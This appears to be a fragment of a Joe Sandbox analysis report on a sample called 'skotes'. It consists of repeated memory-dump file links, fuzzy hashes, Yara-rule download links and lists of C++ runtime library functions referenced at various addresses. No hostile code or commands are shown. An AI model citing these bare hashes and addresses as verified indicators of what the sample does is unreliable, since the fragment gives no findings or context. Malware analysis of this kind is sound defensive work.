Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: c698b136f3bbe0727adfd758f25d9549fbd29225b313282a9d7612027c19a050
Instruction ID: d5870fbc40d29876af5d6d895f75a61465eb698789abd7c4efdbdab433207fb2
Opcode Fuzzy Hash: c698b136f3bbe0727adfd758f25d9549fbd29225b313282a9d7612027c19a050
Instruction Fuzzy Hash: DA41D634A00208AFCF10DF68C884B9EBBB8BF89718F158195E8185B392D731EE15CF91

Function 0092DD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 0092DD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 0092DDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 0092DE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 0092DE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 0092DE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 0092DE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 0092DE74

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: 1bb97632332de8bc76c495633ce59dcde793f33af8e38729c3ee32103607199c
Instruction ID: dbcf1416f8e92598a6e3c31cd3c6c3141455db163da56621c4729e1fa3689807
Opcode Fuzzy Hash: 1bb97632332de8bc76c495633ce59dcde793f33af8e38729c3ee32103607199c
Instruction Fuzzy Hash: 8841E230A063649BDF15FFA0A4957FC77A56F91304F1444A9E8916F2CBCB348E08C761

Function 0092E7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0092E7D7

Part of subcall function 0092E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0092E577
Part of subcall function 0092E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0092E599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0092E854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0092E860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0092E86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0092E879
Concurrency::location::_Assign.LIBCMT ref: 0092E8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0092E8B5

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: f0ba4250456f63b67037803ec5e854ba2f90451a1c2f15d46521ac3fdac80b59
Instruction ID: 5e7b0ad3c3bf6766efdce4b1a0e320069382ab3d9943e3f6a7d6d0f8fd425a2f
Opcode Fuzzy Hash: f0ba4250456f63b67037803ec5e854ba2f90451a1c2f15d46521ac3fdac80b59
Instruction Fuzzy Hash: B1412B35A00218EFCF05EF64D495BADB7B9FF88310F1484A9DD59AB386DB30A941CB91

Function 00916E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00916ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00916F22
std::_Rethrow_future_exception.LIBCPMT ref: 00916F32
__Mtx_unlock.LIBCPMT ref: 00916FD5
__Mtx_unlock.LIBCPMT ref: 009170DB
__Mtx_unlock.LIBCPMT ref: 00917116

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 9b57dc7f34491cb9a34c419c81557729c817c5ff86011646380f80de8070328e
Instruction ID: 80284adf235c2a1b938aa902b29c33bfbdce31034ac01141bdb2f0c2b411cea2
Opcode Fuzzy Hash: 9b57dc7f34491cb9a34c419c81557729c817c5ff86011646380f80de8070328e
Instruction Fuzzy Hash: FBC1E3B1E0430D9FDB20DFA4C845BEEBBF9AF45310F00496DE81697681DB35A984CB61

Function 009244DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00924538
ListArray.LIBCONCRT ref: 0092456C
Hash.LIBCMT ref: 009245D5
Hash.LIBCMT ref: 009245E5

Part of subcall function 00929C41: std::bad_exception::bad_exception.LIBCMT ref: 00929C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0092474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 009247A4

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: 7ba5d7309b764331c8422e55dbbf2a578cd05c3cd010631e13aa81fb4b56e96a
Instruction ID: 3fe7947212f0323fd5b1288d8480091c591f924f49322740b0956679538c156d
Opcode Fuzzy Hash: 7ba5d7309b764331c8422e55dbbf2a578cd05c3cd010631e13aa81fb4b56e96a
Instruction Fuzzy Hash: EA816CB0A11B26BBD708EF74D841BD9FAACBF49714F10421AF428D7281DBB4A564CBD1

Function 0091EE5F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0091EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 0091EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0091EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0091EF0F
Concurrency::Context::Block.LIBCONCRT ref: 0091EF31

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
